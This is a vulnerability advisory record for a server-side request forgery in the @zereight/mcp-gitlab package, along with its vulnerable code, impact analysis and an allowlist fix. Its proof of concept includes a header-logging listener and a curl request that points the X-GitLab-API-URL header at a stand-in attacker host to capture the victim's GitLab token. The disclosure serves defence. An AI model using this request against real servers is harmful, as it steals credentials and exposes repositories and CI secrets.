{"id":"CVE-2026-61559","aliases":["GHSA-2h44-8472-frjj"],"url":"https://o3.security/vulnerability/CVE-2026-61559","summary":"@zereight/mcp-gitlab Vulnerable to Server-Side Request Forgery","details":"# Server-Side Request Forgery via X-GitLab-API-URL Header Allows Credential Theft\n\n## Affected\n\n- **Repository:** `zereight/gitlab-mcp`\n- **Affected versions:** All versions through commit `74a8c83`\n- **Patched versions:** None at time of report\n\n## Severity\n\nHigh. CVSS v3.1 8.5 (`AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N`)\n\n## Description\n\nWhen the environment variable `ENABLE_DYNAMIC_API_URL=true` is set, the server\nreads the `X-GitLab-API-URL` HTTP request header and uses it as the base URL for\nall outbound GitLab API calls made within that request. The server validates that\nthe value is a well-formed URL (`new URL(dynamicApiUrl)`) but applies no\nallowlist or hostname restriction. The server then attaches the victim's\n`Private-Token` to every outbound fetch that uses the redirected URL.\n\nAny caller who can reach the HTTP transport can set `X-GitLab-API-URL` to an\nattacker-controlled host. The next GitLab API call the server makes delivers the\nvictim's token to that host.\n\nThe vulnerable code appears at two locations.\n\n**SSE handler (`index.ts:11541`):**\n\n```typescript\nconst dynamicApiUrl = req.headers[\"x-gitlab-api-url\"]?.trim();\nif (ENABLE_DYNAMIC_API_URL && dynamicApiUrl) {\n  apiUrl = normalizeGitLabApiUrl(dynamicApiUrl);   // no allowlist check\n}\n```\n\n**Streamable HTTP handler (`index.ts:11787`), inside `parseAuthHeaders`:**\n\n```typescript\nconst dynamicApiUrl = req.headers[\"x-gitlab-api-url\"]?.trim();\nif (ENABLE_DYNAMIC_API_URL && dynamicApiUrl) {\n  new URL(dynamicApiUrl);                          // syntax-only check\n  apiUrl = normalizeGitLabApiUrl(dynamicApiUrl);   // any reachable host accepted\n}\n```\n\nIn both cases, `apiUrl` propagates through `getEffectiveApiUrl()` and into\n`getFetchConfig()`, which attaches `Private-Token: <victim_token>` to every\noutbound fetch. The token reaches the attacker's host, not GitLab.\n\n## Proof of Concept\n\nRun upstream `zereight/gitlab-mcp` at commit `74a8c83` with\n`ENABLE_DYNAMIC_API_URL=true` and `REMOTE_AUTHORIZATION=true`.\n\n```bash\n# 1. Start a listener on the attacker host (port 9099)\n#    Any HTTP server that logs incoming headers will work.\npython3 -c \"\nimport http.server, sys\nclass H(http.server.BaseHTTPRequestHandler):\n    def do_GET(self):\n        print('HEADERS:', dict(self.headers))\n        self.send_response(200); self.end_headers()\nhttp.server.HTTPServer(('0.0.0.0', 9099), H).serve_forever()\n\"\n\n# 2. Send any MCP tool call with the malicious header\ncurl -X POST http://TARGET:3002/mcp \\\n  -H \"X-GitLab-API-URL: http://ATTACKER:9099/api/v4\" \\\n  -H \"Authorization: Bearer ANY_VALID_TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"jsonrpc\":\"2.0\",\"method\":\"tools/call\",\"params\":{\"name\":\"list_issues\",\"arguments\":{\"project_id\":\"1\"}},\"id\":1}'\n```\n\nThe listener receives:\n\n```\nGET /api/v4/projects/1/issues HTTP/1.1\nprivate-token: <VICTIM_GITLAB_TOKEN>\nHost: ATTACKER:9099\n```\n\nThe victim's token arrives at the attacker host. The attacker never needed it\nin advance. The MCP server delivered it.\n\n## Impact\n\nThe attacker obtains the victim's GitLab Personal Access Token or CI/CD job\ntoken in a single request. With the stolen token they gain full GitLab API\naccess at the victim's permission level: read of all repositories, issues,\nmerge requests, CI/CD pipeline definitions and variables/secrets; write to push\ncode, modify pipelines, create or delete resources, and rotate CI/CD variables.\n\nCVSS factors:\n- `PR:L`: reaching the HTTP transport requires presenting some auth token\n- `S:C`: the attack crosses the boundary into GitLab (a separate security domain)\n- `C:H`: victim's GitLab token stolen in one request; full read of all scoped data\n- `I:H`: attacker can push code and modify pipelines with the stolen token\n- `A:N`: the MCP server continues operating normally\n\n## Why This Is a Vulnerability, Not Intended Behavior\n\n`ENABLE_DYNAMIC_API_URL` is documented for supporting self-hosted GitLab\ninstances at a non-default base URL. The intended caller behavior is to supply\nthe URL of their own GitLab instance. The feature has no mechanism to distinguish\na legitimate self-hosted GitLab URL from an attacker-controlled host. Once\nenabled, every request that includes `X-GitLab-API-URL` can redirect the server's\ncredential-carrying outbound calls to any reachable host with no restriction.\n\nPR #453 (merged) added a startup guard that blocks the Streamable HTTP transport\nfrom running with static tokens unless `REMOTE_AUTHORIZATION=true` or OAuth is\nconfigured. That guard runs once at server startup and checks transport\nconfiguration. It does not modify `parseAuthHeaders`, does not validate\n`X-GitLab-API-URL`, and does not restrict the token-forwarding path at runtime.\nThe SSRF sink at `index.ts:11787` is unchanged in the current code and fully\nreachable in the documented multi-user deployment mode (`REMOTE_AUTHORIZATION=true`).\n\n## Remediation\n\nValidate `X-GitLab-API-URL` against a configurable allowlist of trusted GitLab\nhostnames before assigning the value to `apiUrl`. Reject any request whose\n`X-GitLab-API-URL` hostname is not in the allowlist. Apply this check at both\n`index.ts:11541` and `index.ts:11787`.\n\nExample fix for the Streamable HTTP handler:\n\n```typescript\nconst ALLOWED_HOSTS = (process.env.GITLAB_ALLOWED_HOSTS ?? \"\")\n  .split(\",\").map(h => h.trim()).filter(Boolean);\n\nconst dynamicApiUrl = req.headers[\"x-gitlab-api-url\"]?.trim();\nif (ENABLE_DYNAMIC_API_URL && dynamicApiUrl) {\n  const parsed = new URL(dynamicApiUrl);\n  if (!ALLOWED_HOSTS.includes(parsed.hostname)) {\n    throw new Error(`X-GitLab-API-URL hostname not in allowlist: ${parsed.hostname}`);\n  }\n  apiUrl = normalizeGitLabApiUrl(dynamicApiUrl);\n}\n```\n\nDocument `GITLAB_ALLOWED_HOSTS` in the README alongside `ENABLE_DYNAMIC_API_URL`.\nIf maintaining an allowlist is not feasible, disable `ENABLE_DYNAMIC_API_URL` by\ndefault and document the token-forwarding risk prominently.\n\n## Credit\n\nReported via GitHub Security Advisory on 2026-06-07.","published":"2026-09-15T20:58:41.639Z","modified":"2026-10-28T02:30:32.734692984Z","cvss":{"score":9.6,"severity":"CRITICAL","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N"},"epss":{"score":0.00271,"percentile":0.19416,"asOf":"2026-09-17"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"@zereight/mcp-gitlab","fixedVersion":"2.1.27"}],"fix":{"url":"https://github.com/zereight/gitlab-mcp/commit/6ffb4cc70706fd05b1ab80901676bc2998b6db6d","label":"zereight/gitlab-mcp@6ffb4cc"},"references":[{"type":"WEB","url":"https://github.com/zereight/gitlab-mcp/releases/tag/v2.1.27"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/61xxx/CVE-2026-61559.json"},{"type":"ADVISORY","url":"https://github.com/zereight/gitlab-mcp/security/advisories/GHSA-2h44-8472-frjj"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-61559"},{"type":"FIX","url":"https://github.com/zereight/gitlab-mcp/commit/6ffb4cc70706fd05b1ab80901676bc2998b6db6d"},{"type":"FIX","url":"https://github.com/zereight/gitlab-mcp/pull/625"},{"type":"PACKAGE","url":"https://github.com/zereight/gitlab-mcp"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-28T02:30:32.734692984Z"}}